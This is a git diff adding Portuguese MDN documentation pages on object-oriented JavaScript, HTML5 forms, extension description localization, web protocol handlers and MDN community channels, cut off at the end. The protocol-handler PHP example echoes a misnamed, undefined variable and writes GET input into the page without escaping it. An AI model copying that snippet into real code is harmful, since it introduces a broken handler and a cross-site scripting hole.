Ventilador(velMax) { + this.velocidadeMaxima = velMax; + this.ligado = false; + this.ligar = liga; +} +</pre> + +<p>A palavra chave <code>this</code> é substituída pelo objeto que invoca a função, essa é uma das principais vantagens da utilização de métodos. Exemplo de uso:</p> + +<pre class="brush: js">var ventilador = new Ventilador(3); +console.log(ventilador.ligado); // Retorna false +ventilador.ligar(); +console.log(ventilador.ligado); // Retorna true +</pre> + +<h3 id="Literais_de_objeto" name="Literais_de_objeto">Literais de objeto</h3> + +<p>Os literais de objeto<span id="jsoo3"><sup><a href="/pt/Javascript_orientado_a_objetos#jsoop3" title="pt/Javascript_orientado_a_objetos#jsoop3">3</a></sup></span> possibilitam criar e iniciar objetos de uma maneira diferente. A sintaxe é definida por uma lista de pares nome/valor separados por vírgulas entre um par de chaves. Cada par nome/valor é definido pelo nome da propriedade seguido de dois pontos e do valor correspondente.</p> + +<pre class="brush: js">var Livro = { + titulo : "Os Três Mosqueteiros", + autor : "Alexandre Dumas", + capitulo1 : { + titulo : "Os três presentes do sr. D'Artagnan pai", + paginas : 11 + }, + capitulo2 : { + titulo : "A antecâmara do sr. Tréville", + paginas : 8 + } +} + +// Acessando as propriedades: +console.log(Livro.titulo + " - " + Livro.autor + "\\n\\t" + + Livro.capitulo1.titulo + " - " + + Livro.capitulo1.paginas + " páginas\\n\\t" + + Livro.capitulo2.titulo + " - " + + Livro.capitulo2.paginas + " páginas"); +</pre> + +<h3 id="Composi.C3.A7.C3.A3o" name="Composi.C3.A7.C3.A3o">Composição</h3> + +<p>A composição é um recurso utilizado para definir uma relação do tipo “tem um” (<em>“has a” relationship</em>), ou seja, um objeto que conta com outros objetos para formar sua estrutura. Por exemplo, um objeto do tipo Carro teria em sua estrutura objetos do tipo Roda, Volante, Banco. O exemplo anterior que descreve um livro, também demonstra o uso deste recurso.</p> + +<pre class="brush: js">function Livro(titulo, autor) { + this.titulo = titulo; + this.autor = autor; +} + +function Capitulo(titulo, paginas) { + this.titulo = titulo; + this.paginas = paginas; +} + +var livro = new Livro("Os Três Mosqueteiros", "Alexandre Dumas"); +var capitulo1 = new Capitulo("Os três presentes do sr. D'Artagnan pai", 11); +var capitulo2 = new Capitulo("A antecâmara do sr. Tréville", 8); + +// Os objetos do tipo Capitulo fazem parte da composição do objeto livro +livro.capitulo1 = capitulo1; +livro.capitulo2 = capitulo2; + +// Acessando as propriedades: +console.log(livro.titulo + " - " + livro.autor + "\\n\\t" + + livro.capitulo1.titulo + " - " + + livro.capitulo1.paginas + " páginas\\n\\t" + + livro.capitulo2.titulo + " - " + + livro.capitulo2.paginas + " páginas"); +</pre> + +<h3 id="Encapsulamento" name="Encapsulamento">Encapsulamento</h3> + +<p>Como exposto no início do artigo, em nosso exemplo que representa um ventilador, detalhes da estrutura de alguns objetos ficam ocultos internamente, pois não precisamos conhecê-los para fazer uso dos mesmos. O encapsulamento tem por objetivo esconder essa informação que não precisa ser de conhecimento do utilizador da classe. Seu uso é uma boa prática quanto à manutenção da classe, pois podemos modificar a parte que é oculta ao utilizador sem alterar sua forma de implementação. Em Javascript podemos usar encapsulamento em propriedades de uma classe utilizando a palavra-chave <code>var</code> ao invés da palavra-chave <code>this</code> e do operador “<code>.</code>”.</p> + +<pre class="brush: js">function Ventilador(velMax) { + var maximaPermitida = 5; // Uso de encapsulamento + var velocidadePadrao = 3; // Variáveis privadas + // Avalia se a velocidade máxima fornecida é maior que zero e menor que 5, o limite atual. + if (velMax > 0 && velMax <= maximaPermitida) { + // Caso seja, atribui o valor fornecido à propriedade velocidadeMaxima + this.velocidadeMaxima = velMax; + } else { + // Caso contrário, atribui o valor da variável velocidadePadrao à propriedade velocidadeMaxima + this.velocidadeMaxima = velocidadePadrao; + } + this.ligado = false; + this.ligar = function() { // O método ligar agora é definido + this.ligado = true; // por um literal de função, o que + } // melhora a legibilidade do código. +} +ventilador = new Ventilador(0); // Cria a instância fornecendo o valor 0 para o argumento velMax; +console.log(ventilador.velocidadeMaxima); // Retorna 3 – o padrão +console.log(ventilador.maximaPermitida); // Retorna undefined +</pre> + +<h3 id="Heran.C3.A7a" name="Heran.C3.A7a">Herança</h3> + +<p>Em Javascript a herança ocorre por meio de objetos protótipos<span id="jsoo4"><sup><a href="/pt/Javascript_orientado_a_objetos#jsoop4" title="pt/Javascript_orientado_a_objetos#jsoop4">4</a></sup></span> e define uma relação do tipo “é um” (<em>“is a” relationship</em>). Cada objeto herda propriedades e métodos de seu objeto protótipo que é referenciado pela propriedade <code>prototype</code>. A classe <code>Object</code> é a superclasse de todas as classes definidas em Javascript, ou seja, todos os construtores criados herdam propriedades e métodos definidos no construtor <code>Object()</code> como por exemplo o método <code>toString()</code>, que assim como outros pode ser sobrescrito na subclasse. Em alguns casos, é conveniente utilizar este recurso em classes personalizadas, para isso basta definir um construtor como valor para a propriedade <code>prototype</code> da classe em questão. Como exemplo simplório, vamos definir a classe <strong>Eletrodomestico</strong> com a propriedade <strong>ligado</strong> e os métodos <strong>ligar</strong> e <strong>desligar</strong> comuns a todos os eletrodomésticos e então definir a classe <strong>Ventilador</strong> com propriedades e métodos peculiares.</p> + +<pre class="brush: js">function Eletrodomestico() { + this.ligado = false; + this.ligar = function() { + this.ligado = true; + } + this.desligar = function() { + this.ligado = false; + } +} + +function Ventilador(velMax) { + var maximaPermitida = 5; // Uso de encapsulamento + var velocidadePadrao = 3; // Variáveis privadas + if (velMax > 0 && velMax <= maximaPermitida) { + this.velocidadeMaxima = velMax; + } else { + this.velocidadeMaxima = velocidadePadrao; + } +} + +Ventilador.prototype = new Eletrodomestico(); // Define o objeto protótipo +ventilador = new Ventilador(4); +console.log(ventilador.ligado); // Retorna false +ventilador.ligar(); +console.log(ventilador.ligado); // Retorna true +</pre> + +<p>A utilização do objeto protótipo faz com que a propriedade <code>constructor</code> também seja herdada da superclasse, o que definiria a classe <strong>Eletrodomestico</strong> como valor da propriedade no objeto <strong>ventilador</strong>. Uma alternativa é definir de forma explícita a propriedade <code>constructor</code>:</p> + +<pre class="brush: js">Ventilador.prototype.constructor = Ventilador; +</pre> + +<h3 id="Conclus.C3.A3o" name="Conclus.C3.A3o">Conclusão</h3> + +<p>Este artigo é apenas um incentivo à adoção dos conceitos da orientação a objetos em Javascript. Com o entendimento dos conceitos, os desenvolvedores podem corroborar as vantagens em códigos mais complexos, organizando o desenvolvimento e facilitando a manutenção dos scripts.</p> + +<h3 id="Notas" name="Notas">Notas</h3> + +<p><span id="jsoop1"><a href="/pt/Javascript_orientado_a_objetos#jsoo1" title="pt/Javascript_orientado_a_objetos#jsoo1">1.</a></span> Termo usado informalmente no artigo.<br> + <span id="jsoop2"><a href="/pt/Javascript_orientado_a_objetos#jsoo2" title="pt/Javascript_orientado_a_objetos#jsoo2">2.</a></span> Nas linguagens clássicas orientadas a objeto, geralmente usa-se o termo atributo ou campo.<br> + <span id="jsoop3"><a href="/pt/Javascript_orientado_a_objetos#jsoo3" title="pt/Javascript_orientado_a_objetos#jsoo3">3.</a></span> Conhecidos também como inicializadores de objetos ou objetos literais, implementados a partir de Javascript 1.2.<br> + <span id="jsoop4"><a href="/pt/Javascript_orientado_a_objetos#jsoo4" title="pt/Javascript_orientado_a_objetos#jsoo4">4.</a></span> Implementados a partir de Javascript 1.1.</p> + +<div class="originaldocinfo"> +<h3 id="Informa.C3.A7.C3.B5es_Sobre_o_Documento_Original" name="Informa.C3.A7.C3.B5es_Sobre_o_Documento_Original">Informações Sobre o Documento Original</h3> + +<ul> + <li>Autor: <a href="/User:Leandro_Mercês_Xavier" title="User:Leandro_Mercês_Xavier">Leandro Mercês Xavier</a></li> + <li>Última Atualização: 09/05/2007</li> + <li>Informações sobre Copyright: Este artigo está disponível sob os termos da <a class="external" href="http://creativecommons.org/licenses/by-sa/2.5/br/">Creative Commons Atribuição-Compartilhamento pela mesma licença 2.5 Brasil</a></li> +</ul> +</div> + +<p><span class="comment">Categorias</span></p> + +<p><span class="comment">Interwiki Language Links</span></p> diff --git a/files/pt-pt/orphaned/learn/html/forms/html5_updates/index.html b/files/pt-pt/orphaned/learn/html/forms/html5_updates/index.html new file mode 100644 index 0000000000..93a5bfb4f8 --- /dev/null +++ b/files/pt-pt/orphaned/learn/html/forms/html5_updates/index.html @@ -0,0 +1,72 @@ +--- +title: Forms no HTML5 +slug: Web/HTML/HTML5/Forms_no_HTML5 +translation_of: Learn/HTML/Forms/HTML5_updates +--- +<p>{{ gecko_minversion_header("2") }}</p> +<p>Elementos e atributos de formulários no HTML5 fornecem um grau maior de marcação semântica do que o HTML4 e removem em grande parte a necessidade tediosa de estilos e scripts requerida no HTML4. Os recursos de formulários no HTML5 fornecem uma melhor experiência para os usuários, tornando os formulários mais consistentes através de diferentes web sites e dando retorno imediato ao usuário sobre a entrada de dados. Eles também fornecem esta experiência aos usuários que deixam os scripts desativados no navegador.</p> +<p>Este tópico descreve itens novos ou alterados que são suportados pelo Gecko/Firefox.</p> +<h3 id="O_elemento_<input>">O elemento <code><input></code></h3> +<p>O elemento <code>{{ HTMLElement("input") }}</code> tem novos valores para o atributo {{ htmlattrxref("type", "input") }}.</p> +<ul> + <li><span style="font-family: Courier New;">search</span>: O elemento representa um campo de entrada de busca. Quebras de linhas são automaticamente removidas do valor de entrada, mas nenhuma outra sintaxe é aplicada.</li> + <li><span style="font-family: Courier New;">tel</span>: O elemento representa um controle para a edição de um número de telefone. Quebras de linhas são automaticamente removidas do valor de entrada, mas nenhuma outra sintaxe é aplicada, pois números de telefone podem variar bastante internacionalmente. Você pode usar atributos como {{ htmlattrxref("pattern", "input") }} e {{ htmlattrxref("maxlength", "input") }} para restringir valores digitados no controle.</li> + <li><span style="font-family: Courier New;">url</span>: O elemento representa um controle para a edição de <a class="external" href="http://en.wikipedia.org/URL" title="http://en.wikipedia.org/URL">URL</a>. Quebras de linha e espaços, à direita e à esquerda, são automaticamente removidos do valor de entrada.</li> + <li> + <p><span style="font-family: Courier New;">email</span>: O elemento representa um endereço de e-mail. Quebras de linhas são automaticamente removidas do valor de entrada. Um endereço de e-mail inválido pode ser configurado, mas o campo de entrada somente será satisfeito se contiver um endereço de e-mail que satisfaça a produção ABNF <span style="font-family: Courier New;"><code><code title="">1*( atext / "." ) "@" ldh-str 1*( "." ldh-str )</code></code></span> na qual <code title="">atext</code> está definido na RFC 5322 section 3.2.3, e <code title="">ldh-str</code> está definido na RFC 1034 section 3.5.</p> + <div class="note"> + Nota: se o atributo {{ htmlattrxref("multiple", "input") }} é configurado, podem ser digitados múltiplos endereços de e-mail neste campo {{ HTMLElement("input") }}, como uma lista separada por espaços, mas atualmente isto não está implementado no Firefox.</div> + </li> +</ul> +<p>O elemento {{ HTMLElement("input") }} também tem novos atributos:</p> +<ul> + <li>{{ htmlattrxref("list", "input") }}: O ID de um elemento {{ HTMLElement("datalist") }} cujos conteúdos, elementos {{ HTMLElement("option") }}, podem ser usados como dicas e são exibidos como propostas na área de sugestões do campo de entrada.</li> + <li>{{ htmlattrxref("pattern", "input") }}: Uma expressão regular contra a qual o valor do elemento é checado, a qual deve ser usada com os valores <code>text</code>, <code>tel</code>, <code>search</code>, <code>url</code>, e <code>email </code>de {{ htmlattrxref("type", "input") }}.</li> + <li>{{ htmlattrxref("formmethod", "input") }}: Uma string indicando qual método HTTP (GET ou POST) deve ser usado na submissão; isto substitui o {{ htmlattrxref("method", "form") }} do elemento {{ HTMLElement("form") }}, se definido. O {{ htmlattrxref("formmethod", "input") }} se aplica somente quando {{ htmlattrxref("type", "input") }} é <span style="font-family: Courier New;">image</span> ou <span style="font-family: Courier New;">submit</span>.</li> + <li>{{ htmlattrxref("x-moz-errormessage", "input") }}: Uma string que é exibida como uma mensagem de erro quando a validação do campo falha. Esta é uma extenção da Mozilla, e não é um padrão.</li> +</ul> +<h3 id="O_elemento_<form>">O elemento <code><form></code></h3> +<p>O elemento {{ HTMLElement("form") }} tem um novo atributo:</p> +<ul> + <li>{{ htmlattrxref("novalidate", "form") }}: Este atributo previne o formulário de ser validado antes de sua submissão.</li> +</ul> +<h3 id="O_elemento_<datalist>">O elemento <code><datalist></code></h3> +<p>O elemento {{ HTMLElement("datalist") }} representa a lista de elementos {{ HTMLElement("option") }} para sugerir quando preencher um campo {{ HTMLElement("input") }}.</p> +<p>Você pode usar o atributo {{ htmlattrxref("list", "input") }} em um elemento {{ HTMLElement("input") }} para ligar um campo de entrada com um elemento {{ HTMLElement("datalist") }} específico.</p> +<h3 id="O_elemento_<output>">O elemento <code><output></code></h3> +<p>O elemento <code>{{ HTMLElement("output") }}</code> representa o resultado de um cálculo.</p> +<p>Você pode usar o atributo {{ htmlattrxref("for", "output") }} para especificar uma relação entre o elemento de saída e outros elementos no documento, afetados pelo resultado (por exemplo, como entradas ou parâmetros). O valor do atributo {{ htmlattrxref("for", "output") }} é uma lista de ID de outros elementos separada por espaços.</p> +<h3 id="O_atributo_de_espaço_reservado">O atributo de espaço reservado</h3> +<p>O atributo {{ htmlattrxref("placeholder", "input") }} nos elementos <code>{{ HTMLElement("input") }}</code> e <code>{{ HTMLElement("textarea") }}</code> fornece uma dica ao usuário do que deve ser digitado no campo. O espaço reservado de texto não deve conter novas linhas ou alimentação de linhas.</p> +<h3 id="O_atributo_de_autofoco">O atributo de autofoco</h3> +<p>O atributo <strong>autofocus</strong> permite especificar que um controle de formulário deve ter foco nas entradas quando a página carrega, a menos que o usuário sobreponha-se a isto, por exemplo digitando em um controle diferente. Somente um item do formulário pode ter o atributo <strong>autofocus</strong>, que é um Booleano. Este atributo pode ser aplicado aos elementos<code> {{ HTMLElement("input") }}</code>, <code>{{ HTMLElement("button") }}</code>, <code>{{ HTMLElement("select") }}</code>, e <code>{{ HTMLElement("textarea") }}</code>. A exceção é que o <strong>autofocus</strong> não pode ser aplicado em um elemento <code><input></code> se o atributo {{ htmlattrxref("type", "input") }} é configurado como <code>hidden</code> (isto é, você não pode configurar automaticamente o foco em um controle escondido).</p> +<h3 id="A_propriedade_label.control_do_DOM">A propriedade label.control do DOM</h3> +<p>A interface DOM <a href="/en/DOM/HTMLLabelElement" title="en/DOM/HTMLLabelElement">HTMLLabelElement</a> fornece uma propriedade extra, adicionalmente às propriedades que correspondem aos atributos do elemento <code>{{ HTMLElement("label") }}</code> do HTML. A propriedade <strong>control</strong> retorna um controle rotulado, isto é, o controle para este rótulo, o qual é determinado pelo atributo {{ htmlattrxref("for", "label") }} (se estiver definido) ou pelo primeiro elemento de controle descendente.</p> +<h3 id="Validação_de_restrições">Validação de restrições</h3> +<p>O HTML5 fornece itens de API e sintaxe para suportar a validação de formulários do lado do cliente. Enquanto esta funcionalidade não substitui a validação do lado do servidor, a qual ainda é necessária para a segurança e integridade dos dados, a validação do lado do cliente pode suportar uma melhor experiência ao usuário, dando ao usuário um retorno imediato sobre os dados digitados.</p> +<h4 id="Sintaxe_HTML_para_validação_de_restrições">Sintaxe HTML para validação de restrições</h4> +<p>Os seguintes itens da sintaxe do HTML5 podem ser usados para especificar restrições em dados de formulários.</p> +<ul> + <li>O atributo {{ htmlattrxref("required", "input") }} no elementos {{ HTMLElement("input") }}, {{ HTMLElement("select") }} e {{ HTMLElement("textarea") }} indica que um valor deve ser fornecido. (No elemento {{ HTMLElement("input") }}, {{ htmlattrxref("required", "input") }} aplica-se somente em conjunto com certos valores do atributo {{ htmlattrxref("type", "input") }}.)</li> + <li>O atributo {{ htmlattrxref("pattern", "input") }} no elemento {{ HTMLElement("input") }} obriga o valor a combinar com uma expressão regular específica.</li> + <li>Os atributos {{ htmlattrxref("min", "input") }} e {{ htmlattrxref("max", "input") }} do elemento {{ HTMLElement("input") }} limitam os valores mínimo e máximo que podem ser digitados.</li> + <li>O atributo {{ htmlattrxref("step", "input") }} do elemento {{ HTMLElement("input") }} (quando usado combinadamente com os atributos {{ htmlattrxref("min", "input") }} e {{ htmlattrxref("max", "input") }}) define a granularidade de valores que podem ser entrados. Um valor que não corresponda a um valor permitido não será validado.</li> + <li>O atributo {{ htmlattrxref("maxlength", "input") }} dos elementos {{ HTMLElement("input") }} e {{ HTMLElement("textarea") }} limita o número máximo de caracteres (em pontos de código Unicode) que o usuário pode entrar.</li> + <li>Os valores <code>url</code> e <code>email</code> para {{ htmlattrxref("type", "input") }} obrigam o valor a ser uma URL ou um endereço de e-mail válido, respectivamente.</li> +</ul> +<p>Adicionalmente, pode-se evitar a validação obrigatória especificando-se o atributo {{ htmlattrxref("novalidate", "form") }} no elemento {{ HTMLElement("form") }}, ou o atributo {{ htmlattrxref("formnovalidate", "button") }} no elemento {{ HTMLElement("button") }} e no elemento {{ HTMLElement("input") }} (quando {{ htmlattrxref("type", "input") }} é <code>submit</code> ou <code>image</code>). Estes atributos indicam que o formulário não será validado quando submetido.</p> +<h4 id="API_de_validação_de_restrições">API de validação de restrições</h4> +<p>As seguintes propriedades e métodos do DOM relacionados à validação de restrições estão disponíveis nos scripts do lado do cliente:</p> +<ul> + <li>Em objetos <a href="/en/DOM/HTMLFormElement" title="en/DOM/HTMLFormElement">HTMLFormElement</a>, o método <code>checkValidity()</code> retorna verdadeiro se todos os elementos do formulário com elementos associados com validação obrigatória são satisfeitos, e falso, caso contrário.</li> + <li>Em <a href="/en/HTML/Content_categories#form-associated" title="en/HTML/Content Categories#form-associated">elementos associados a formulários</a> (en): + <ul> + <li>A propriedade <code>willValidate</code>, a qual é falsa se o elemento possuir obrigatoriedades não satisfeitas.</li> + <li>A propriedade <code>validity</code>, a qual é um objeto de <a href="/en/DOM/ValidityState_Interface" title="en/DOM/ValidityState Interface">ValidityState</a>, que representa o estado de validação em que o elemento se encontra (isto é, falha ou sucesso nas condições obrigatórias).</li> + <li>A propriedade <code>validationMessage</code>, a qual é uma mensagem descrevendo qualquer valha de obrigatoriedade pertinente ao elemento.</li> + <li>O método <code>checkValidity()</code>, o qual retorna falso se o elemento falha em satisfazer qualquer das suas obrigatoriedades, ou verdadeiro, caso contrário.</li> + <li>O método <code>setCustomValidity()</code>, o qual define uma mensagem customizada de validação, permitindo às obrigações serem impostas e validadas além das já pré-definidas.</li> + </ul> + </li> +</ul> +<p>{{ HTML5ArticleTOC() }}</p> diff --git a/files/pt-pt/orphaned/localizar_descrições_de_extensões/index.html b/files/pt-pt/orphaned/localizar_descrições_de_extensões/index.html new file mode 100644 index 0000000000..3dad673d0c --- /dev/null +++ b/files/pt-pt/orphaned/localizar_descrições_de_extensões/index.html @@ -0,0 +1,24 @@ +--- +title: Localizar descrições de extensões +slug: Localizar_descrições_de_extensões +tags: + - Extensões + - Localização +--- +<p> </p> + +<p>Por causa do <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=257155|bug">bug 257155</a>, desenvolvedores de extensões devem através de um processo especial, definir descrições localizadas na extensão para alvos de extensão baseados em um kit de ferramentas (Como o Firefox ou o Thunderbird).</p> + +<ul> + <li>Se você atualmente não os têm, crie arquivos de propriedades localizadas (<a href="/en/Localizing_an_extension#Localizing_strings_in_JavaScript_code">localized properties files</a>). Tenha certeza de usar a codificação UTF-8 para assegurar que caracteres estrangeiros sejam exibidos corretamente.</li> + <li>Adicione a seguinte linha a cada um dos seus arquivos de propriedade de localização (onde EXTENSION_ID faz o ID da sua extensão (<code><em:id></code> de <a href="/pt/install.rdf" title="pt/install.rdf">install.rdf</a>) e LOCALIZED_DESCRIPTION é a descrição da sua extensão que você quer que apareçam nas línguas dadas):</li> +</ul> + +<pre>extensions.EXTENSION_ID.description=LOCALIZED_DESCRIPTION</pre> + +<ul> + <li>Se você atualmente não tiver um, crie um arquivo de preferências padrão (<a href="/en/Building_an_Extension#Defaults_Files">a default preferences file</a>).</li> + <li>Adicione a seguinte linha a ele (onde EXTENSION_ID faz o ID do seu aplicativo de <a href="/pt/install.rdf" title="pt/install.rdf">install.rdf</a> e PATH_TO_LOCALIZATION_FILE é o remendo chrome para o arquivo de localização que você adicionou mais cedo):</li> +</ul> + +<pre>pref("extensions.EXTENSION_ID.description", "PATH_TO_LOCALIZATION_FILE");</pre> diff --git a/files/pt-pt/orphaned/manipuladores_de_protocolo_web/index.html b/files/pt-pt/orphaned/manipuladores_de_protocolo_web/index.html new file mode 100644 index 0000000000..784696c1dc --- /dev/null +++ b/files/pt-pt/orphaned/manipuladores_de_protocolo_web/index.html @@ -0,0 +1,97 @@ +--- +title: Manipuladores de protocolo web +slug: Manipuladores_de_protocolo_web +tags: + - Firefox 3 +--- +<p>{{ Fx_minversion_header(3) }} </p> +<h3 id="Vis.C3.A3o_geral" name="Vis.C3.A3o_geral"> Visão geral </h3> +<p>É comum encontrar páginas com links para recursos utilizando protocolos não-<code>http</code>. Um exemplo é o protocolo <code>mailto:</code>: +</p> +<pre><a href="mailto:webmaster@exemplo.com">Web Master</a> +</pre> +<p>Autores podem usar um link <code>mailto:</code> quando desejam fornecer uma maneira conveniente de enviar mensagens diretamente da página. Quando o link é ativado, o navegador deve lançar a aplicação padrão do sistema para manipular emails. Você pode pensar nisso como um manipulador de protocolos <i>baseado no desktop</i>. +</p><p>Manipuladores de protocolos baseados na web permitem que aplicações web também participem desse processo. Isso tem-se tornado mais importante à medida em que mais e mais tipos de aplicações tem migrado para a web. Na verdade, existem várias aplicações que manipulam mensagens baseadas na web que poderiam processar os links <code>mailto</code>. +</p> +<h3 id="Registrando" name="Registrando"> Registrando </h3> +<p>Registrar uma aplicação web como manipulador de protocolos não é um processo difícil. Basicamente, a aplicação web deve utilizar o o método <code><a href="pt/DOM/window.navigator.registerProtocolHandler">registerProtocolHandler()</a></code> para registrar-se como manipulador em potencial para um determinado protocolo. Por exemplo: +</p> +<pre>navigator.registerProtocolHandler("mailto", + "https://www.exemplo.com/?uri=%s", + "Correio de Exemplo"); +</pre> +<p>Onde os parâmetros são: +</p> +<ul><li> O protocolo; +</li><li> A URL do documento utilizado como manipulador; o "%s" será substituido pelo valor do atributo <code>href</code> do link e um GET será executado na URL resultante; +</li><li> O nome amigável do manipulador. +</li></ul> +<p>Quando um navegador executa esse código, ele deve pedir permissão ao usuário para registrar a aplicação como manipulador do protocolo. O Firefox exibe um prompt na barra de notificação: +</p><p><img alt="Image:mpw-notificacao.png"> +</p><p>{{ Note() }} +</p> +<h4 id="Exemplo" name="Exemplo"> Exemplo </h4> +<pre><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> +<html> +<head> + <title>Exemplo de manipulador de protocolo - Registro</title> + <script type="text/javascript"> + navigator.registerProtocolHandler("falso", + "http://loremipsum.org/projetos/mpw.php?valor=%s", + "Falso Mail"); + </script> +</head> +<body> + <h1>Exemplo de manipulador de protocolo</h1> + <p>Esta página instalará um manipulador de protocolos para o protocolo <code>falso:</code>.</p> +</body> +</html> +</pre> +<h3 id="Ativando" name="Ativando"> Ativando </h3> +<p>Agora, sempre que o usuário ativar um link que utiliza o protocolo registrado, o navegador direcionará a ação para a URL fornecida pela aplicação registrada. O Firefox irá, por padrão, perguntar ao usuário antes de executar a ação. +</p><p><img alt="Image:mpw-executar.png"> +</p> +<h4 id="Exemplo_2" name="Exemplo_2"> Exemplo </h4> +<pre><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> +<html> +<head> + <title>Exemplo de manipulador de protocolo - Teste</title> +</head> +<body> + <p>Ei, você já viu <a href="falso:URL%20de%20exemplo">isso</a> antes?</p> +</body> +</html> +</pre> +<h3 id="Manipulando" name="Manipulando"> Manipulando </h3> +<p>A próxima fase é manipular a ação. O navegador extrai o valor do atributo <code>href</code> do link ativado, combina esse valor com a URL fornecida pelo manipulador durante o registro e executa um HTTP GET na URL. Assim, usando os exemplos acima, o navegador executaria um GET na seguinte URL: +</p> +<pre>http://loremipsum.org/projetos/mpw.php?valor=falso:URL%20de%20exemplo +</pre> +<p>Programas no servidor podem extrair os parâmetros e executar a ação desejada. +</p><p>{{ Note("o valor <b>inteiro</b> do atributo <code>href</code> é passado ao programa do servidor. Isso significa que o programa no servidor deverá separar o protocolo dos dados.") }} +</p> +<h4 id="Exemplo_3" name="Exemplo_3"> Exemplo </h4> +<pre><?php +$value = ""; +if ( isset ( $_GET["valor"] ) ) { + $value = $_GET["valor"]; +} +?> + +<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> +<html> +<head> + <title>Exemplo de manipulador de protocolo</title> +</head> +<body> + <h1>Exemplo de manipulador de protocolo - Manipulador</h1> + <p>Esta página é chamada ao manipular uma ação do protocolo <code>falso:</code>. Dados enviados:</p> + <textarea> +<?php echo(urldecode($valor)) ?> + </textarea> +</body> +</html> +</pre> +<p><span class="comment">Categorias</span> +</p><p><span class="comment">Interwiki Language Links</span> +</p>{{ languages( { "en": "en/Web-based_protocol_handlers", "fr": "fr/Gestionnaires_de_protocoles_web", "ja": "ja/Web-based_protocol_handlers", "pl": "pl/Funkcje_obs\u0142ugi_protoko\u0142\u00f3w_przez_aplikacje_internetowe" } ) }} diff --git a/files/pt-pt/orphaned/mdn/community/conversations/index.html b/files/pt-pt/orphaned/mdn/community/conversations/index.html new file mode 100644 index 0000000000..2112b63562 --- /dev/null +++ b/files/pt-pt/orphaned/mdn/community/conversations/index.html @@ -0,0 +1,58 @@ +--- +title: Conversações da comunidade MDN +slug: MDN/Comunidade/Conversações +tags: + - Comunidade + - Guia(2) + - MDN Meta +translation_of: MDN/Community/Conversations +--- +<div>{{MDNSidebar}}</div><p class="summary">O "trabalho" da MDN ocorre no site da MDN, mas a "comunidade" também produz através da discussão (assíncrona), conversação on-line (síncrona) e encontros.</p> + +<h2 id="Discussões_assíncronas">Discussões assíncronas</h2> + +<p>Para partilhar a informação e ter discussões em curso, a <a href="/pt-PT/docs/MDN/Comunidade/Conversações">MDN tem a sua própria categoria ("MDN") , no fórum da Mozilla Discourse. </a>Utilize esta categoria para todos os tópicos relacionados com a MDN, incluindo a criação de conteúdo da documentação, tradução, e manutenção; desenvolvimento da plataforma MDN; planeamento, definição de metas, e acompanhamento do progresso.</p> + +<ul> + <li>Para aderir a Mozilla Discourse, consulte <a href="https://discourse.mozilla-community.org/t/signing-up-and-logging-in/16017">Registar e iniciar sessão</a> (EN); se tiver uma conta Mozilla LDAP, pode-a utilizar em vez de "Iniciar a sessão com e-mail".</li> + <li>Para subscrever a categoria da MDN, consulte <a href="https://discourse.mozilla-community.org/t/subscribing-to-categories-and-topics/16024">Subscrição de categorias e tópicos</a> (EN).</li> + <li>(Opcional) Se preferir interagir com <em>Discourse</em> principalmente por e-mail, consulte <a href="https://discourse.mozilla-community.org/t/mailman-mode/15279">Configurar uma lista de endereços para si mesmo</a>. Pode iniciar uma discussão em <em>Discourse, </em>enviando uma mensagem por e-mail para: <a href="mailto://mdn@mozilla-community.org">mdn@mozilla-community.org</a>. Se utilizar <em>Discourse</em> via e-mail, pode responder a uma mensagem, respondendo à mensagem de notificação que recebe. Se deseja interpolar comentários em linha dentro de uma resposta, por favor, coloque dois retornos antes e depois das suas partes em linha, e assim <em>Discourse</em> analisa-as corretamente.</li> +</ul> + +<h3 id="Arquivos_históricos">Arquivos históricos</h3> + +<p>Antes de junho de 2017, as discussões relacionadas com a MDN ocorriam nas listas de endereços que eram acedidas e arquivadas com os grupos Google. Se desejar pesquisar essas discussões anteriores, pode consultar os grupos Google correspondentes às listas de endereços antigas. (Sim, nós sabemos que esses nomes são sobrepostos e confusos. Acidente histórico. Desculpe por isso.)</p> + +<dl> + <dt><a href="https://groups.google.com/forum/#!forum/mozilla.dev.mdc">mozilla.dev.mdc</a> a.k.a. <strong>dev-mdc</strong></dt> + <dd>Esta lista era para discussões sobre conteúdo de documentação na MDN.</dd> + <dt><a href="https://groups.google.com/forum/#!forum/mozilla.dev.mdn">mozilla.dev.mdn </a>a.k.a. <strong>dev-mdn</strong></dt> + <dd>Esta lista era sobre o trabalho de desenvolvimento na plataforma subjacente <a href="/pt-PT/docs/MDN/Kuma">Kuma</a> da MDN.</dd> + <dt><a href="https://groups.google.com/forum/#!forum/mozilla.mdn">mozilla.mdn </a>a.k.a. <strong>mdn@</strong></dt> + <dd>Este fórum era para discussões de alto nível de planeamento e priorização, para o site da Web da MDN e outras iniciativas relacionadas.</dd> +</dl> + +<p> </p> + +<h2 id="Conversação_no_IRC">Conversação no IRC</h2> + +<p>Internet Relay Chat (IRC) is our preferred method for day-to-day chat and real-time discussions among community members. We use a few channels on the server irc.mozilla.org for discussions related to MDN.</p> + +<dl> + <dt><a href="irc://irc.mozilla.org/mdn" title="irc://irc.mozilla.org/mdn">#mdn</a></dt> + <dd>This channel is our primary channel for discussing the content of MDN. We talk about writing, organization of content, and so on. We also have "water cooler" conversations here—it's a way our community can keep in touch and just hang out. This is also the place to talk about other aspects of MDN (other than development of the platform), such as Demo Studio, profiles, and so on.</dd> + <dt><a href="irc://irc.mozilla.org/mdndev" title="irc://irc.mozilla.org/mdndev">#mdndev</a></dt> + <dd>This channel is where our development team—the people that write the code that makes MDN work—hangs out and discusses their day-to-day work. You're welcome to join in and either participate in the development or simply ask questions about issues you see with the software.</dd> +</dl> + +<p>Estes canais são mais prováveis de estarem ativos durante a semana na América do Norte.</p> + +<p>You may want to <a href="http://wiki.mozilla.org/IRC" title="http://wiki.mozilla.org/IRC">learn more about IRC</a> (EN) and use an installable IRC client such as <a href="https://addons.mozilla.org/pt-PT/firefox/addon/chatzilla/" title="https://addons.mozilla.org/en-US/firefox/addon/chatzilla/">ChatZilla</a> (PT). It is implemented as a Firefox add-on, which makes it quick and easy to install and use. If you're not familiar with IRC, an easy way to join is using a web-based IRC client such as <a href="http://web.scrollback.io/">Scrollback</a>, which is pre-configured with the <a href="http://scrollback.io/mozdn/">mdn</a> and <a href="http://scrollback.io/mdndev/">mdndev</a> channels.</p> + +<h2 id="Junte-se_aos_nossos_encontros_(e_outros_eventos)">Junte-se 